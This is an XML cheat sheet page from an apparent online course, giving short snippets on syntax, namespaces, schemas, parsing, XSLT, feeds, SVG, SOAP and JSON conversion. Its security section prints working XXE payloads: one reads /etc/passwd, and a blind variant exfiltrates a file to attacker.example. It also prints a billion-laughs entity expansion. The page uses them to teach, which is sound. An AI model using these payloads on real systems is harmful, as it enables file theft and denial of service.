XML cheat sheet

A scannable XML reference: 26 short snippets across 14 topics, each linking back to the lesson it came from.

At a glance

TopicWhat it covers
XML syntax and well-formednessXML is a text format for trees. A document is a single root element containing nested elements, text and comments, andlesson
NamespacesTwo vocabularies can both define an element called <title>. A namespace makes the name globally unambiguous bylesson
Validation with DTD and XSDWhat DTDs and XSDs can express, how to write a usable schema, and when XML is still the right choice todaylesson
Attributes vs child elements: modelling decisionsThe id, language, status and version identify the article and never repeat. The authors and tags repeat, so they arelesson
XML in configuration filesBoth work because the structure is a tree that a human edits by hand and a tool validates. That is the same propertylesson
XML Schema in practice: reuse and evolutionThe schemaLocation attribute is a hint, not an instruction. A validating parser may resolve it from a local cataloguelesson
Parsing XML in code: DOM, SAX and pull parsersTree versus streaming models, how a SAX handler works, why a pull parser is usually the better streaming choice, andlesson
XML in Python, Java and JavaScriptElementTree and lxml, JAXP and JAXB, DOMParser and XMLSerializer in the browser, and the namespace-aware versuslesson
Transforming XML with XSLT templatesThe identity transform plus a handful of overrides is the safe way to make a small change to a large vocabulary. Itlesson
RSS, Atom and web feedsPrefer escaping to CDATA. Escaped content survives XSLT, concatenation and naive string handling, whereas an embeddedlesson
SVG, XHTML and XML in the browserThe browser shows an error page rather than a partially rendered document, which is why most sites stay on text/htmllesson
SOAP, WSDL and legacy web servicesThe interoperable combination is document and literal. The rpc and encoded styles exist for historical reasons and arelesson
XML security: XXE and entity expansionWhen the parser expands &secret;, it reads a local file and places its contents in the document. If the applicationlesson
JSON or XML today: migration and coexistenceThe single-item list ambiguity is the most damaging difference. A converter cannot know whether one <item> shouldlesson

Quick snippets

XML syntax and well-formedness

The shape of a document

<?xml version="1.0" encoding="UTF-8"?>
<catalog xmlns="http://example.com/shop" version="1.0">
  <!-- attributes are unstructured: order and repetition are not modelled -->
  <book id="bk-101" available="true">
    <title lang="en">Structured Data</title>
    <price currency="USD">39.95</price>
    <description><![CDATA[Contains & and angle brackets like <these> without escaping]]></description>
  </book>
</catalog>

Full lesson: XML syntax and well-formedness →

Namespaces

Working with namespaced documents

from lxml import etree

doc = etree.fromstring(b'<feed xmlns="http://www.w3.org/2005/Atom"><id>u1</id></feed>')

print(doc.xpath("/feed"))                                   # [] - no namespace match
ns = {"a": "http://www.w3.org/2005/Atom"}
print(doc.xpath("/a:feed/a:id/text()", namespaces=ns))      # ['u1']

# a local-name() test avoids registering a prefix, but cannot use indexes
print(doc.xpath("/*[local-name()='feed']/*[local-name()='id']/text()"))

Full lesson: Namespaces →

Validation with DTD and XSD

DTD versus XSD

<!-- DTD: an internal subset declaring allowed children and attributes -->
<!DOCTYPE catalog [
  <!ELEMENT catalog (book+)>
  <!ELEMENT book (title, price)>
  <!ATTLIST book id ID #REQUIRED>
  <!ELEMENT title (#PCDATA)>
  <!ELEMENT price (#PCDATA)>
]>

<!-- the same constraint is far more specific in XSD -->

When XML is still the right tool

# validate against a schema, and check well-formedness on its own
xmllint --noout --schema shop.xsd catalog.xml
xmllint --noout --dtdvalid catalog.dtd catalog.xml
xmllint --noout catalog.xml && echo "parses cleanly"

# pretty-print without reformatting semantics
xmllint --format catalog.xml | head -20

Full lesson: Validation with DTD and XSD →

Attributes vs child elements: modelling decisions

Mixed content and the text problem

<p>The <em>first</em> rule is to escape <code>&lt;</code> as <code>&amp;lt;</code>.</p>

<!-- the same content with everything as elements: workable, but loses the prose -->
<para>
  <text>The </text>
  <em>first</em>
  <text> rule is to escape </text>
  <code>&lt;</code>
  <text> as </text>
  <code>&amp;lt;</code>
  <text>.</text>
</para>

Full lesson: Attributes vs child elements: modelling decisions →

XML in configuration files

XML config in the wild

<!-- Android layout: XML describes a UI tree, which is a genuine document -->
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="wrap_content">
  <TextView
      android:id="@+id/title"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="@string/title" />
</LinearLayout>

Choosing a config format

# query config with XPath instead of grepping
xmllint --xpath '//dependency[groupId="org.junit.jupiter"]/version/text()' pom.xml

# validate before running the build
xmllint --noout --schema pom.xsd pom.xml

# formatted diff of two versions of a config tree
xmllint --format a.xml > a.pretty
xmllint --format b.xml > b.pretty
diff -u a.pretty b.pretty

Full lesson: XML in configuration files →

XML Schema in practice: reuse and evolution

Versioning without breaking readers

<!-- keep both during a transition, and document the deprecation -->
<xs:sequence>
  <xs:element name="total" type="shop:MoneyType"/>
  <xs:element name="totalAmount" type="shop:MoneyType" minOccurs="0">
    <xs:annotation>
      <xs:documentation>Deprecated: use total. Removed in schema version 3.</xs:documentation>
    </xs:annotation>
  </xs:element>
</xs:sequence>

Full lesson: XML Schema in practice: reuse and evolution →

Parsing XML in code: DOM, SAX and pull parsers

Three ways to read the same document

# DOM: everything in memory, then query
import xml.etree.ElementTree as ET

tree = ET.parse("orders.xml")
root = tree.getroot()
for order in root.findall("order"):
    print(order.get("id"), order.findtext("total"))

# a 200 MB document needs well over 1 GB of heap this way

Full lesson: Parsing XML in code: DOM, SAX and pull parsers →

XML in Python, Java and JavaScript

Python: ElementTree and lxml

# lxml adds XPath, XSLT and schema validation
from lxml import etree

doc = etree.parse("orders.xml")
nsmap = {"s": "urn:example:shop"}

for total in doc.xpath("//s:order/s:total/text()", namespaces=nsmap):
    print(total)

schema = etree.XMLSchema(etree.parse("order.xsd"))
print(schema.validate(doc), schema.error_log.filter_from_errors())

Full lesson: XML in Python, Java and JavaScript →

Transforming XML with XSLT templates

Reshaping and grouping

<!-- XSLT 1.0 has no group-by: use the Muenchian method -->
<xsl:key name="bySku" match="s:item" use="@sku"/>

<xsl:template match="/">
  <summary>
    <xsl:for-each select="//s:item[generate-id() = generate-id(key('bySku', @sku)[1])]">
      <product sku="{@sku}">
        <quantity><xsl:value-of select="sum(key('bySku', @sku)/@qty)"/></quantity>
      </product>
    </xsl:for-each>
  </summary>
</xsl:template>

Reshaping and grouping

# run a transform on the command line
xsltproc --output report.html report.xsl orders.xml

# validate the stylesheet itself first
xmllint --noout report.xsl

# test with a tiny fixture that exercises each template
xsltproc report.xsl fixture-minimal.xml

Full lesson: Transforming XML with XSLT templates →

RSS, Atom and web feeds

The rules that decide whether readers behave

<!-- HTML inside a feed: escape it, or wrap it in CDATA -->
<description>A short summary with &lt;strong&gt;bold&lt;/strong&gt; text.</description>

<description><![CDATA[A short summary with <strong>bold</strong> text.]]></description>

<!-- CDATA cannot contain the sequence that closes it, so splitting is required -->
<description><![CDATA[Use ]]]]><![CDATA[> to close a CDATA section.]]></description>

Publishing and validating

# validate structure and formatting
xmllint --noout feed.xml
xmllint --format feed.xml | head -30

# check the date format precisely
xmllint --xpath 'string(//item/pubDate)' feed.xml

# confirm the served content type
curl -sI https://example.com/feed.xml | grep -i content-type

Full lesson: RSS, Atom and web feeds →

SVG, XHTML and XML in the browser

SVG in a page is XML

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 80" width="200" height="80">
  <title>Request latency by hour</title>
  <defs>
    <linearGradient id="fade" x1="0" y1="0" x2="0" y2="1">
      <stop offset="0" stop-color="#4c8bf5"/>
      <stop offset="1" stop-color="#4c8bf5" stop-opacity="0"/>
    </linearGradient>
  </defs>
  <rect x="0" y="0" width="200" height="80" fill="url(#fade)"/>
  <circle cx="40" cy="40" r="6" fill="#fff"/>
  <path d="M10 60 L60 30 L110 45 L160 15" fill="none" stroke="#fff" stroke-width="2"/>
</svg>

SVG in a page is XML

<svg xmlns="http://www.w3.org/2000/svg" width="240" height="60">
  <foreignObject x="0" y="0" width="240" height="60">
    <div xmlns="http://www.w3.org/1999/xhtml" style="font: 14px sans-serif">
      Regular HTML inside SVG, with a <b>bold</b> word.
    </div>
  </foreignObject>
</svg>

Serving a page as XML

GET /page HTTP/1.1

HTTP/1.1 200 OK
Content-Type: application/xhtml+xml; charset=utf-8

<!-- parsed in XML mode: any error is a fatal parse error -->

Full lesson: SVG, XHTML and XML in the browser →

SOAP, WSDL and legacy web services

The envelope is the whole protocol

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
               xmlns:shop="urn:example:shop">
  <soap:Header>
    <shop:AuthToken soap:mustUnderstand="true">abc123</shop:AuthToken>
  </soap:Header>
  <soap:Body>
    <shop:GetOrder>
      <shop:orderId>1024</shop:orderId>
    </shop:GetOrder>
  </soap:Body>
</soap:Envelope>

Reading a WSDL

# inspect a WSDL and see the available operations
curl -s "https://service.example.com/OrderService?wsdl" | xmllint --format - | head -60

# call an operation by hand to see the real wire format
curl -s -X POST https://service.example.com/OrderService \
  -H 'Content-Type: application/soap+xml; charset=utf-8' \
  -H 'SOAPAction: "urn:example:shop/GetOrder"' \
  --data-binary @request.xml | xmllint --format -

When SOAP is still the right answer

POST /OrderService HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8; action="urn:example:shop/GetOrder"
SOAPAction: "urn:example:shop/GetOrder"

<!-- 1.1 puts the action in the SOAPAction header with quotes;
     1.2 puts it in the content type parameter.
     Sending the wrong one is a frequent interoperability failure. -->

Full lesson: SOAP, WSDL and legacy web services →

XML security: XXE and entity expansion

External entities

<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY secret SYSTEM "file:///etc/passwd">
]>
<order>
  <note>&secret;</note>
</order>

External entities

<!-- blind XXE: no echo needed, the value is sent by the parser itself -->
<!DOCTYPE order [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
  %dtd;
]>
<order>&send;</order>

<!-- evil.dtd on the attacker's server
     <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.example/?%file;'>">
     %all;
-->

Entity expansion attacks

<!-- billion laughs: ten levels of ten, a few hundred bytes becomes gigabytes -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>

Full lesson: XML security: XXE and entity expansion →

JSON or XML today: migration and coexistence

Two data models, not two syntaxes

<!-- XML: the language is an attribute, the text is content -->
<message lang="en">Hello</message>

<!-- JSON has no place for the attribute except as a key -->
{ "lang": "en", "text": "Hello" }

Converting without losing meaning

<!-- a convention that survives a round trip: mark attributes and types -->
<order id="1">
  <placedAt type="date">2026-09-18</placedAt>
  <items>
    <item sku="A1" qty="2"/>
  </items>
</order>

Converting without losing meaning

{
  "@id": "1",
  "placedAt": "2026-09-18",
  "placedAtType": "date",
  "items": { "item": [ { "@sku": "A1", "@qty": "2" } ] }
}

Full lesson: JSON or XML today: migration and coexistence →

FAQ

Is this XML cheat sheet free to use?
Yes. No sign-up and no tracking: the page is static, every example is on the page itself, and you can print it or save it as a one-page reference.
Where do the examples come from?
Every snippet is taken from the 14 lessons of the XML course on this site, and each section links back to the lesson it was pulled from.
How do I go deeper than a cheat sheet?
Open the full XML course — it carries the worked explanations, the edge cases and the exercises behind every line here.

XPath XSLT SOAP RESTful APIs RSS & Atom

Last refreshed 2026-09-27.